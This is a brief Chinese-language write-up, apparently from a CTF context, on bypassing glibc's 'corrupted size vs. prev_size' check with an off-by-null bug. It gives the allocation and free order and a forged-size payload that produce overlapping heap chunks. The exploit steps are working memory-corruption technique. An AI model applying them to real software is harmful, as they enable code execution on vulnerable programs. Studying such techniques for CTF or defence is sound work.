if (chunksize (p) != prev_size (next_chunk (p))) malloc_printerr ("corrupted size vs. prev_size");
这会检查pre size和要合并的chunk_size是否相同; 在这之前普通的off by null,我们只需要修改pre size和pre inuse就能完成堆块重叠。
方法
申请8个堆块
create(0x410)#0 A create(0x100)#1 #padding create(0x430)#2 B create(0x430)#3 C create(0x100)#4 padding create(0x480)#5 H create(0x420)#6 D create(0x100)#7 padding
我们要做的就是保证C堆块地址是00结尾;
利用地址残留,保存C的fd和bk指针
free(0) free(3) free(6) free(2) payload=b'\x00'*0x430+p64(0)+p32(0x551) create(0x450,payload)#0 B1 create(0x410)#2 #c1 create(0x410)#3 A create(0x420)#6 D